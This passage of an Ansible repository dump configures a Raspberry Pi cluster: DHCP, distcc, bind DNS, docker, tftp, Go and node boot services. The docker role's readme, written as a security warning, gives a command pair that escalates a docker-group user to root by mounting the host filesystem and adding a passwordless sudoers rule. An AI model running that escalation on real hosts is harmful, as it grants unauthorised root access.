10 | - name: Raspbian
11 | versions:
12 | - stretch
13 |
--------------------------------------------------------------------------------
/ansible/roles/dhcp-server/templates/dhcp-server-default.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | # /etc/default/isc-dhcp-server
3 | # ansible role: {{role_path|basename}}
4 |
5 | # Path to dhcpd's config file (default: /etc/dhcp/dhcpd.conf).
6 | DHCPD_CONF=/etc/dhcp/dhcpd.conf
7 |
8 | # Path to dhcpd's PID file (default: /var/run/dhcpd.pid).
9 | #DHCPD_PID=/var/run/dhcpd.pid
10 |
11 | # Additional options to start dhcpd with.
12 | # Don't use options -cf or -pf here; use DHCPD_CONF/ DHCPD_PID instead
13 | #OPTIONS=""
14 |
15 | # On what interfaces should the DHCP server (dhcpd) serve DHCP requests?
16 | # Separate multiple interfaces with spaces, e.g. "eth0 eth1".
17 | INTERFACES="eth0"
18 |
--------------------------------------------------------------------------------
/ansible/roles/dhcp-server/vars/main.yml:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/ansible/roles/dhcp-server/vars/main.yml
--------------------------------------------------------------------------------
/ansible/roles/distcc/defaults/main.yml:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/ansible/roles/distcc/defaults/main.yml
--------------------------------------------------------------------------------
/ansible/roles/distcc/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | - name: distcc-restart
5 | service:
6 | name: distcc
7 | state: restarted
8 | become: true
9 | become_user: root
10 |
--------------------------------------------------------------------------------
/ansible/roles/distcc/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: distcc
4 | author: crgm
5 | description: distributed compiling
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 | dependencies:
14 | - role: base-system
15 |
--------------------------------------------------------------------------------
/ansible/roles/distcc/templates/distcc_conf.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | # ansible role: {{role_path|basename}}
3 |
4 | STARTDISTCC="true"
5 |
6 | ALLOWEDNETS="{{ rpi_net_id }}/{{ rpi_net_maskbit }}"
7 |
8 | LISTENER="0.0.0.0"
9 |
10 | NICE="10"
11 |
12 | # one job per cpu core
13 | JOBS="4"
14 |
15 | ZEROCONF="true"
16 |
--------------------------------------------------------------------------------
/ansible/roles/distcc/templates/distcc_kern.j2:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #
3 | # https://www.raspberrypi.org/documentation/linux/kernel/building.md
4 |
5 | rpilogit () {
6 | echo -e "rpicluster: $1 \n";
7 | logger -t rpicluster "$1";
8 | }
9 |
10 | cd /opt/cluster/mysrc/
11 |
12 | rpilogit "cloning linux kernel source ";
13 |
14 | git clone --depth=1 https://github.com/raspberrypi/linux
15 |
16 | # for V3
17 | cd linux
18 | KERNEL=kernel7
19 | make bcm2709_defconfig
20 |
21 | /usr/bin/distcc-pump make zImage modules dtbs -j4 CC="distcc gcc -std=gnu99"
22 | #sudo make modules_install
23 | #sudo cp -- arch/arm/boot/dts/*.dtb /boot/
24 | #sudo cp -- arch/arm/boot/dts/overlays/*.dtb* /boot/overlays/
25 | #sudo cp arch/arm/boot/dts/overlays/README /boot/overlays/
26 | #sudo cp arch/arm/boot/zImage /boot/$KERNEL.img
27 |
--------------------------------------------------------------------------------
/ansible/roles/distcc/templates/distcc_test.j2:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | cd /opt/cluster/mysrc/ || exit 1;
4 |
5 | download_file="bash-5.0.tar.gz"
6 |
7 | wget -- ftp://ftp.gnu.org/pub/gnu/bash/$download_file;
8 |
9 | filehash=$(sha512sum $download_file | cut -d' ' -f1)
10 |
11 | if [ "$filehash" = "bb4519f06e278f271d08722b531e49d2e842cc3e0b02a6b3eee422e2efcb5b6226111af43f5e5eae56beb85ac8bfebcd6a4aacbabb8f609e529aa4d571890864" ] ; then
12 | echo "sha512 sum is OK";
13 | else
14 | echo "BAD sha512 sum";
15 | exit 1;
16 | fi
17 |
18 | file $download_file | grep "gzip compressed data" || exit 1;
19 |
20 | tar xf $download_file || { echo "ERROR extracting source"; exit 1; }
21 |
22 | cd bash-5.0 || exit 1;
23 |
24 | ./configure
25 |
26 | distcc --show-hosts
27 |
28 | distcc-pump make -j2 CC="distcc gcc -std=gnu99"
29 |
--------------------------------------------------------------------------------
/ansible/roles/distcc/templates/hostscompute.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | # ansible role: {{role_path|basename}}
3 | #
4 | # As described in the distcc manpage, this file can be used for a global
5 | # list of available distcc hosts.
6 | #
7 | # The list from this file will only be used, if neither the
8 | # environment variable DISTCC_HOSTS, nor the file $HOME/.distcc/hosts
9 | # contains a valid list of hosts.
10 | #
11 | # Add a list of hostnames in one line, seperated by spaces, here.
12 | #
13 | # -- Compute: --
14 | #
15 | {% for host in groups['compute'] %}
16 | {{ hostvars[host]['rpi_ip'] }},cpp,lzo
17 | {% endfor %}
18 |
--------------------------------------------------------------------------------
/ansible/roles/dns-server/defaults/main.yml:
--------------------------------------------------------------------------------
1 |
2 | rpi_dnsd_status: "secondary"
3 | rpi_dnsd_notify: "no"
4 |
--------------------------------------------------------------------------------
/ansible/roles/dns-server/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | # Restart DNS server
5 | - name: bind-restart
6 | service:
7 | name: bind9
8 | state: restarted
9 | become: true
10 | changed_when: False
11 |
--------------------------------------------------------------------------------
/ansible/roles/dns-server/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: dns-server
4 | author: crgm
5 | description: DNS server for the cluster. With custom TLD.
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 | dependencies:
14 | - role: base-system
15 |
--------------------------------------------------------------------------------
/ansible/roles/dns-server/reame.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | DNS for Rocket Scientists: http://www.zytrax.com/books/dns/
4 |
5 |
6 | How to force secondary Name server to update/refresh dns zones from primary server:
7 |
8 | ```
9 | rndc reload b3rry.clust0r
10 | ```
11 |
--------------------------------------------------------------------------------
/ansible/roles/dns-server/tasks/master-zone.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Raspberry Pi cluster Zone file for Master
3 |
4 |
5 | - name: rpi dns zone file
6 | template:
7 | src: db_rpi.j2
8 | dest: /etc/bind/zones/{{ rpi_dnsd_status }}/{{ rpi_cust_tld }}.db
9 | owner: bind
10 | group: bind
11 | mode: 0664
12 | validate: '/usr/sbin/named-checkzone {{ rpi_dnsd_status }}.{{ rpi_cust_tld }} %s'
13 | become: true
14 | notify: bind-restart
15 | when:
16 | - rpi_dnsd_status == "master"
17 |
18 |
19 | #- name: test rpi zone db and dump as text
20 | - name: check and dump db_rpi.db
21 | command: |
22 | /usr/sbin/named-compilezone -F text \
23 | -o /opt/cluster/lanservice/zones.txt {{ rpi_cust_domain }}.{{ rpi_cust_tld }} \
24 | /etc/bind/zones/{{ rpi_dnsd_status }}/{{ rpi_cust_tld }}.db
25 | changed_when: False
26 | when:
27 | - rpi_dnsd_status == "master"
28 |
29 |
30 | - name: Set extended attribute 'trusted.rpi-cluster.file-validate'
31 | xattr:
32 | path: /etc/bind/zones/{{ rpi_dnsd_status }}/{{ rpi_cust_tld }}.db
33 | key: rpi-cluster.file
34 | value: validate
35 | namespace: trusted
36 | become: true
37 | when:
38 | - rpi_dnsd_status == "master"
39 |
--------------------------------------------------------------------------------
/ansible/roles/dns-server/templates/etc/bind/named_conf_default_zones.j2:
--------------------------------------------------------------------------------
1 | // {{ ansible_managed }}
2 | // node: {{ rpi_dnsd_status }}
3 | // role: {{role_path|basename}}
4 | // file: /etc/bind/named.conf.default-zones
5 |
6 | // prime the server with knowledge of the root servers
7 | //zone "." {
8 | // type hint;
9 | // file "/etc/bind/db.root";
10 | //};
11 |
12 | // be authoritative for the localhost forward and reverse zones, and for
13 | // broadcast zones as per RFC 1912
14 |
15 | zone "localhost" {
16 | type master;
17 | file "/etc/bind/db.local";
18 | };
19 |
20 | zone "127.in-addr.arpa" {
21 | type master;
22 | file "/etc/bind/db.127";
23 | };
24 |
25 | zone "0.in-addr.arpa" {
26 | type master;
27 | file "/etc/bind/db.0";
28 | };
29 |
30 | zone "255.in-addr.arpa" {
31 | type master;
32 | file "/etc/bind/db.255";
33 | };
34 |
--------------------------------------------------------------------------------
/ansible/roles/dns-server/templates/etc/bind/named_conf_local.j2:
--------------------------------------------------------------------------------
1 | // {{ ansible_managed }}
2 | // type: {{ rpi_dnsd_status }}
3 | // role: {{role_path|basename}}
4 | // file: /etc/bind/named.conf.local
5 |
6 | // Custom TLD
7 |
8 | {% if 'master' in rpi_dnsd_status %}
9 | zone "{{ rpi_cust_tld }}" {
10 | type master;
11 | file "/etc/bind/zones/{{ rpi_dnsd_status }}/{{ rpi_cust_tld }}.db";
12 | masterfile-format text;
13 | allow-update { key "rndckey"; };
14 | allow-transfer { trusted; };
15 | allow-query { rpinet; };
16 | notify yes;
17 | also-notify { {{ hostvars['alpha']['rpi_ip'] }}; {{ hostvars['beta']['rpi_ip'] }}; };
18 | };
19 | {% endif %}
20 |
21 | {% if 'secondary' in rpi_dnsd_status %}
22 | zone "{{ rpi_cust_tld }}" {
23 | type slave;
24 | masters { {{ hostvars['alpha']['rpi_ip'] }}; };
25 | masterfile-format map;
26 | file "/etc/bind/zones/{{ rpi_dnsd_status }}/{{ rpi_cust_tld }}.db";
27 | allow-transfer { trusted; };
28 | allow-query { rpinet; };
29 | };
30 | {% endif %}
31 |
32 |
33 |
--------------------------------------------------------------------------------
/ansible/roles/dns-server/templates/etc/default/bind.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | # run resolvconf?
3 | RESOLVCONF=no
4 |
5 | # startup options for the server
6 | # ipv4 onyl
7 | OPTIONS="-4 -u bind"
8 |
--------------------------------------------------------------------------------
/ansible/roles/dns-server/templates/resolv_conf.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | #
3 | domain dc1.{{ rpi_cust_domain }}.{{ rpi_cust_tld }}
4 | # this admin node
5 | nameserver 127.0.0.1
6 | # other admin node
7 | nameserver {{ rpi_failover_ip }}
8 | #
9 | # search
10 | search dc1.{{ rpi_cust_domain }}.{{ rpi_cust_tld }}
11 |
--------------------------------------------------------------------------------
/ansible/roles/dns-server/vars/main.yml:
--------------------------------------------------------------------------------
1 |
2 | bind_dir: [
3 | { dir: '/etc/bind/zones/', mode: '0775', owner: 'bind', group: 'bind' },
4 | { dir: '/var/log/named/', mode: '0775', owner: 'bind', group: 'bind' },
5 | { dir: '/var/named/data/', mode: '0770', owner: 'bind', group: 'bind' },
6 | ]
7 |
--------------------------------------------------------------------------------
/ansible/roles/docker/defaults/main.yml:
--------------------------------------------------------------------------------
1 |
2 |
3 | docker_dir: [
4 | { dir: '/opt/cluster/docker/', mode: '0770', owner: "{{ ansible_user_id }}", group: "{{ ansible_user_id }}" },
5 | { dir: '/opt/cluster/docker/compose/', mode: '0770', owner: "{{ ansible_user_id }}", group: "{{ ansible_user_id }}" },
6 | { dir: '/opt/cluster/docker/scripts/', mode: '0770', owner: "{{ ansible_user_id }}", group: "{{ ansible_user_id }}" },
7 | { dir: '/opt/cluster/docker/volumes/', mode: '0770', owner: "{{ ansible_user_id }}", group: "{{ ansible_user_id }}" }
8 | ]
9 |
10 | docker_script: [
11 | {file: 'rm_all_images.sh'},
12 | {file: 'remove_docker.sh'}
13 | ]
14 |
15 |
--------------------------------------------------------------------------------
/ansible/roles/docker/files/remove_docker.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #
3 | # clean up docker a installation
4 | #
5 | # Usage:
6 | #
7 | # ansible compute -a "/opt/cluster/docker/scripts/remove_docker.sh" --become -f 10
8 |
9 | # run as root
10 | if [[ root != "$(whoami)" ]]; then
11 | echo "Error: requires root";
12 | exit 1;
13 | fi
14 |
15 | rpilogit () {
16 | echo -e "rpicluster: remove_docker.sh $1 \n";
17 | logger -t rpicluster "remove_docker.sh $1";
18 | }
19 |
20 | rpilogit "started"
21 |
22 | # Purge all Images + Containers + Networks + Volumes
23 | if [ -f /usr/bin/docker ]; then
24 | docker system prune -a -f >/dev/null
25 | fi
26 |
27 | # stop daemon
28 | systemctl stop docker.service
29 | systemctl stop docker.socket
30 |
31 | # purge
32 | apt-get -y -q purge docker-ce --allow-change-held-packages || exit 1
33 |
34 | rm -fv -- /etc/apt/sources.list.d/docker.list
35 | rm -fv -- /etc/apt/preferences.d/docker-ce
36 | rm -rfv -- /etc/docker/key.json
37 | rm -rfv -- /var/lib/docker/
38 | rm -rfv -- /var/run/docker/
39 | rm -rfv -- /etc/docker/
40 | rm -fv -- /usr/local/bin/docker-machine
41 | rm -fv -- /opt/cluster/mysrc/getdocker.sh
42 | rm -rfv -- /opt/cluster/mysrc/docker-gc
43 |
44 | rm -rfv -- /opt/cluster/docker/docker-installed.txt
45 |
46 | rpilogit "finished"
47 |
48 | #rm -rfv /opt/cluster/bin/remove_docker.sh
49 |
--------------------------------------------------------------------------------
/ansible/roles/docker/files/rm_all_images.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | rpilogit () {
4 | echo -e "rpicluster: $1 \n";
5 | logger -t rpicluster "$1";
6 | }
7 |
8 | rpilogit "started rm_all_images.sh";
9 |
10 | # stop all containers
11 | docker stop $(docker ps -a -q)
12 |
13 | # Delete all containers
14 | docker rm $(docker ps -a -q)
15 |
16 | # Delete all images (forced)
17 | docker rmi -f $(docker images -q)
18 |
19 | rpilogit "finished rm_all_images.sh - all docker containers deleted";
20 |
--------------------------------------------------------------------------------
/ansible/roles/docker/readme.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Users in the docker group can get root on the host, for example:
5 |
6 |
7 | ```
8 | docker run -it --rm --privileged -v /:/mnt ubuntu bash
9 | echo 'ALL=(ALL) NOPASSWD:ALL' >> /mnt/etc/sudoers
10 | ```
11 |
--------------------------------------------------------------------------------
/ansible/roles/docker/tasks/docker_hello_world.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - debug: msg="test run of hello world "
3 |
4 |
5 | # https://hub.docker.com/_/hello-world/
6 |
7 |
8 | #- name: pull hello-world
9 | # docker_image:
10 | # name: _/hello-world
11 | # source: pull
12 | # register: pull-docker-hello-world
13 | # tags: [docker]
14 |
15 |
16 | - name: pull hello world
17 | command: docker pull hello-world
18 | changed_when: false
19 | become: true
20 | tags: [docker]
21 |
22 |
23 | - name: run hello world
24 | command: docker run hello-world
25 | changed_when: false
26 | register: docker_hello_world
27 | become: true
28 | failed_when:
29 | - "'installation appears to be working correctly' not in docker_hello_world.stdout"
30 | tags: [docker]
--------------------------------------------------------------------------------
/ansible/roles/docker/tasks/manage_tools.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - debug: msg="docker manage_tools role "
3 |
4 |
5 | # Docker garbage collection of containers and images
6 | # https://github.com/spotify/docker-gc
7 | - name: docker garbage collection tool
8 | git:
9 | repo: https://github.com/spotify/docker-gc.git
10 | dest: /opt/cluster/mysrc/docker-gc/
11 | update: no
12 | register: dockergc_clone
13 | tags:
14 | - skip_ansible_lint
15 |
--------------------------------------------------------------------------------
/ansible/roles/docker/vars/default:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/ansible/roles/ftp-server/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | - name: ftpd-restart
5 | service: name=tftpd-hpa state=restarted
6 | become: true
7 |
--------------------------------------------------------------------------------
/ansible/roles/ftp-server/templates/default.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | # /etc/default/tftpd-hpa
3 |
4 | TFTP_USERNAME="tftp"
5 | TFTP_DIRECTORY="/srv/tftp"
6 | TFTP_ADDRESS="0.0.0.0:69"
7 | TFTP_OPTIONS="--secure"
8 |
--------------------------------------------------------------------------------
/ansible/roles/ftp-server/templates/welcome.j2:
--------------------------------------------------------------------------------
1 | tftpd-hpa on {{ ansible_nodename }}
2 |
--------------------------------------------------------------------------------
/ansible/roles/ftp-server/vars/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | common_ftp_dir: [
5 | { dir: '/srv/tftp/pxelinux', mode: '0755', owner: 'root', group: 'root' },
6 | { dir: '/srv/tftp/dl/', mode: '0755', owner: 'root', group: 'root' }
7 | ]
--------------------------------------------------------------------------------
/ansible/roles/golang/defaults/main.yml:
--------------------------------------------------------------------------------
1 |
2 | golang_shasum: "sha256:26259f61d52ee2297b1e8feef3a0fc82144b666a2b95512402c31cc49713c133"
3 | goland_targz: "go1.13.5.linux-armv6l.tar.gz"
4 |
--------------------------------------------------------------------------------
/ansible/roles/golang/templates/build_go_hello.j2:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # created by role: {{role_path|basename}}
3 |
4 | export PATH=$PATH:/usr/local/go/bin
5 |
6 | mkdir -pv $HOME/go/src/hello
7 | cd $HOME/go/src/hello || exit 1;
8 |
9 | cat > $HOME/go/src/hello/hello.go << EOF
10 |
11 | package main
12 |
13 | import "fmt"
14 |
15 | func main() {
16 | fmt.Printf("Hello, from Golang on {{ inventory_hostname }}.\n")
17 | }
18 | EOF
19 |
20 | go build
21 |
22 | ./hello >> /var/log/rpicluster.log
23 |
--------------------------------------------------------------------------------
/ansible/roles/group-compute/files/rpi-compute.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=rpi-compute.service
3 | Requires=network-online.target
4 | After=network-online.target
5 |
6 | [Service]
7 | User=root
8 | ExecStart=/root/bin/compute-boot.sh
9 |
10 | [Install]
11 | WantedBy=multi-user.target
12 |
--------------------------------------------------------------------------------
/ansible/roles/group-compute/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: systemctl-daemon-reload
4 | systemd:
5 | daemon_reload: true
6 | become: true
7 |
8 | - name: restart-rpicompute
9 | service:
10 | name: rpi-compute.service
11 | state: restarted
12 | become: true
13 |
--------------------------------------------------------------------------------
/ansible/roles/group-compute/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: group-compute
4 | author: crgm
5 | description: actions for compute nodes
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 | allow_duplicates: no
14 | dependencies:
15 | - { role: userac }
16 | - { role: base-system }
17 | - { role: ssh-server }
18 |
--------------------------------------------------------------------------------
/ansible/roles/group-compute/tasks/compute-security.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: Blacklist usb storage kernel module
4 | kernel_blacklist:
5 | name: usb_storage
6 | state: present
7 | become: true
8 | tags: [computenode]
9 |
10 | - name: Blacklist usbhid kernel moduel
11 | kernel_blacklist:
12 | name: usbhid
13 | state: present
14 | become: true
15 | tags: [computenode]
16 |
17 | - name: Blacklist joydev kernel moduel
18 | kernel_blacklist:
19 | name: joydev
20 | state: present
21 | become: true
22 | tags: [computenode]
23 |
--------------------------------------------------------------------------------
/ansible/roles/group-compute/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Role for nodes in the Compute group.
3 |
4 | - debug: msg="compute node tasks "
5 | tags: [computenode]
6 |
7 |
8 | # java
9 | - name: java
10 | apt:
11 | name: "{{ item }}"
12 | state: present
13 | loop:
14 | - ca-certificates-java
15 | - openjdk-8-jdk
16 | become: true
17 | retries: 2
18 | tags: [computenode]
19 |
20 |
21 | # hardening tasks for this group
22 | - import_tasks: compute-security.yml
23 |
24 | # custom systemd service "rpi-compute"
25 | - import_tasks: systemd-cust.yml
26 |
27 |
28 | - name: output to rpicluster log
29 | command: logger -t rpicluster compute-node role ran
30 | changed_when: False
31 | tags: [computenode]
32 |
33 |
34 | - name: roles info txt
35 | lineinfile:
36 | path: /opt/cluster/data/info_roles.txt
37 | line: "{{ role_path|basename }}"
38 | owner: root
39 | group: root
40 | mode: 0444
41 | become: true
42 | tags: [computenode]
43 |
--------------------------------------------------------------------------------
/ansible/roles/group-compute/tasks/systemd-cust.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | # copy compute-boot.sh
4 | - name: compute-boot script
5 | template:
6 | src: compute-boot.j2
7 | dest: /root/bin/compute-boot.sh
8 | validate: /bin/bash -n %s
9 | mode: 0770
10 | owner: root
11 | group: root
12 | become: true
13 | tags: [computenode]
14 |
15 | # systemd script
16 | - name: copy rpi compute systemd script
17 | copy:
18 | src: rpi-compute.service
19 | dest: /etc/systemd/system/rpi-compute.service
20 | mode: 0644
21 | owner: root
22 | group: root
23 | become: true
24 | changed_when: false
25 | notify:
26 | - systemctl-daemon-reload
27 | - restart-rpicompute
28 | tags: [computenode]
29 |
30 | - name: enable rpi-compute systemd script
31 | systemd:
32 | name: rpi-compute
33 | enabled: true
34 | masked: no
35 | become: true
36 | tags: [computenode]
37 |
--------------------------------------------------------------------------------
/ansible/roles/group-deployer-ssh-client/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: group-deployer-ssh-client
4 | author: crgm
5 | description: This role is run on the Deployer node. It populates ~/.ssh/config and /etc/hosts with all nodes in our inventory.
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 |
--------------------------------------------------------------------------------
/ansible/roles/group-deployer-ssh-client/readme.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/ansible/roles/group-deployer-ssh-client/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # uses inventory, but all actions are on localhost
3 | - debug: msg="group deployer ssh "
4 |
5 |
6 | - debug: msg="inventory_hostname {{ inventory_hostname }} "
7 | ignore_errors: True
8 | changed_when: False
9 |
10 |
11 | - name: users ssh client config
12 | template:
13 | src: ssh_client_conf.j2
14 | dest: ~/.ssh/config
15 | delegate_to: localhost
16 | run_once: true
17 |
18 |
19 | - name: put inventory into etc hosts
20 | template:
21 | src: etc/hosts.j2
22 | dest: /etc/hosts
23 | delegate_to: localhost
24 | become: true
25 | run_once: true
26 |
27 |
28 | # we will put the public CA key into /etc/ssh/ssh_known_hosts
29 |
30 |
31 | - name: /etc/ethers
32 | template:
33 | src: etc/ethers.j2
34 | dest: /etc/ethers
35 | mode: 0644
36 | become: true
37 | delegate_to: localhost
38 | register: static_arp_update
39 | run_once: true
40 |
41 |
42 | - name: update state arp entries
43 | shell: /usr/sbin/arp -f /etc/ethers
44 | become: true
45 | delegate_to: localhost
46 | when: static_arp_update.changed
47 | run_once: true
48 |
49 |
50 | - name: roles info txt
51 | lineinfile:
52 | path: /opt/cluster/data/info_roles.txt
53 | line: "{{ role_path|basename }}"
54 | owner: root
55 | group: root
56 | mode: 0444
57 | become: true
58 | delegate_to: localhost
59 | run_once: true
60 |
--------------------------------------------------------------------------------
/ansible/roles/group-deployer-ssh-client/templates/etc/ethers.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | # setup by role: {{role_path|basename}}
3 | #
4 | # static arp entries for Deployer R-Pi
5 | # default gw
6 | {{ rpi_net_default_gw }} {{ rpi_net_default_gw_mac }}
7 | #
8 | # compute
9 | {% if groups['compute'] is defined %}
10 | {% for host in groups['compute'] %}
11 | {% if host != inventory_hostname %}
12 | {{ hostvars[host]['rpi_ip'] }} {{ hostvars[host]['rpi_mac'] }}
13 | {% endif %}
14 | {% endfor %}
15 | {% endif %}
16 | #
17 | # lanservices
18 | {% if groups['compute'] is defined %}
19 | {% for host in groups['lanservices'] %}
20 | {% if host != inventory_hostname %}
21 | {{ hostvars[host]['rpi_ip'] }} {{ hostvars[host]['rpi_mac'] }}
22 | {% endif %}
23 | {% endfor %}
24 | {% endif %}
--------------------------------------------------------------------------------
/ansible/roles/group-deployer-ssh-client/templates/etc/hosts.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | # setup by role: {{role_path|basename}}
3 | #
4 | 127.0.0.1 localhost
5 | ::1 localhost ip6-localhost ip6-loopback
6 | ff02::1 ip6-allnodes
7 | ff02::2 ip6-allrouters
8 | #
9 | # ansible inventory hosts:
10 | #
11 | {% for host in groups['all'] %}
12 | {{ hostvars[host]['rpi_ip'] }} {{ hostvars[host]['inventory_hostname'] }} {{ hostvars[host]['inventory_hostname'] }}.local
13 | {% endfor %}
14 |
--------------------------------------------------------------------------------
/ansible/roles/group-deployer-ssh-client/templates/ssh_client_conf.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | # setup by role: {{role_path|basename}}
3 | #-------------------------------------------------------------------------------
4 |
5 | # all
6 | host *
7 | ServerAliveInterval 30
8 | Compression yes
9 | controlmaster auto
10 |
11 | # hosts ------------------------------------------------------------------------
12 | {% for host in groups['all'] %}
13 |
14 | # {{ hostvars[host]['inventory_hostname'] }}
15 | {% if hostvars[host]['rpi_racked'] is defined %}
16 | # rack position: {{ hostvars[host]['rpi_racked'] }}
17 | {% endif %}
18 | # mac: {{ hostvars[host]['rpi_mac'] }}
19 | host {{ hostvars[host]['inventory_hostname'] }} {{ hostvars[host]['inventory_hostname'] }}.local
20 | User pi
21 | HostName {{ hostvars[host]['rpi_ip'] }}
22 | {% endfor %}
23 |
24 | #-------------------------------------------------------------------------------
25 |
--------------------------------------------------------------------------------
/ansible/roles/group-deployer/defaults/main.yml:
--------------------------------------------------------------------------------
1 |
2 | # folders for deployer
3 |
4 |
5 | # bash scripts for deployer:
6 | group_deployer_script: [
7 | {src: 'renew-ssh-priv-key.sh', dest: '/opt/cluster/deploy-script/renew-ssh-priv-key.sh'}
8 | ]
9 |
--------------------------------------------------------------------------------
/ansible/roles/group-deployer/files/rpi-deployer.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=rpi-deployer.service
3 | Requires=network-online.target
4 | After=network-online.target
5 |
6 | [Service]
7 | User=root
8 | ExecStart=/root/bin/deployer-boot.sh
9 |
10 | [Install]
11 | WantedBy=multi-user.target
12 |
--------------------------------------------------------------------------------
/ansible/roles/group-deployer/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: systemctl-daemon-reload
4 | systemd:
5 | daemon_reload: true
6 | become: true
7 |
8 | - name: restart-rpideployer
9 | service:
10 | name: rpi-deployer.service
11 | state: restarted
12 | become: true
--------------------------------------------------------------------------------
/ansible/roles/group-deployer/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: group-deployer
4 | author: crgm
5 | description: actions specific to the deployer
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 | dependencies:
14 | - { role: userac }
15 | - { role: base-system }
16 | - { role: redis }
17 |
--------------------------------------------------------------------------------
/ansible/roles/group-deployer/tasks/dl_packages.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Deployer node packages
3 | - debug: msg="deployer (dl_packages) "
4 |
5 |
6 | - name: tools
7 | apt:
8 | name: "{{ item }}"
9 | state: present
10 | loop:
11 | - pass
12 | - dh-make
13 | - devscripts
14 | - socat
15 | - lynx
16 | - nmap
17 | - toilet
18 | - emacs
19 | - ranger
20 | - mpich
21 | - maven
22 | - neofetch
23 | - proxychains
24 | - autossh
25 | become: true
26 | retries: 2
27 |
28 |
29 | # R - https://packages.debian.org/sid/r-recommended
30 | #- name: install R language tools
31 | # apt: name={{ item }} state=present
32 | # become: true
33 | # loop:
34 | # - r-recommended
35 | # - r-cran-gplots
36 | # - r-cran-plotrix
37 | # - r-cran-tkrplot
38 | # - r-cran-vioplot
39 | # - rlplot
40 | # retries: 2
41 |
--------------------------------------------------------------------------------
/ansible/roles/group-deployer/tasks/systemd-cust.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | # copy deployer-boot.sh
4 | - name: deployer-boot script
5 | template:
6 | src: deployer-boot.j2
7 | dest: /root/bin/deployer-boot.sh
8 | validate: /bin/bash -n %s
9 | mode: 0770
10 | owner: root
11 | group: root
12 | become: true
13 | tags: [deployer]
14 |
15 | # systemd script
16 | - name: copy rpi compute systemd script
17 | copy:
18 | src: rpi-deployer.service
19 | dest: /etc/systemd/system/rpi-deployer.service
20 | mode: 0644
21 | owner: root
22 | group: root
23 | become: true
24 | changed_when: false
25 | notify:
26 | - systemctl-daemon-reload
27 | - restart-rpideployer
28 | tags: [deployer]
29 |
30 | - name: enable rpi-deployer systemd script
31 | systemd:
32 | name: rpi-deployer
33 | enabled: true
34 | masked: no
35 | become: true
36 | tags: [deployer]
37 |
--------------------------------------------------------------------------------
/ansible/roles/group-deployer/templates/deployer-boot.j2:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # {{ ansible_managed }}
3 | # setup by role: {{role_path|basename}}
4 | #
5 | # this script is run on boot by systemd, rpi-deployer.service
6 |
7 | logger -t rpicluster "deployer-boot.sh started"
8 |
9 | # pre-run checks ---------------------------------------------------------------
10 |
11 | # no LD_PRELOAD
12 | unset LD_PRELOAD
13 |
14 | #-------------------------------------------------------------------------------
15 |
16 |
17 | # create a 1MB tmpfs
18 | if [ ! -f /mnt/ramstore/data/test.txt ]; then
19 | mkdir -p /mnt/ramstore/;
20 | mount -t tmpfs -o size=1m tmpfs /mnt/ramstore;
21 |
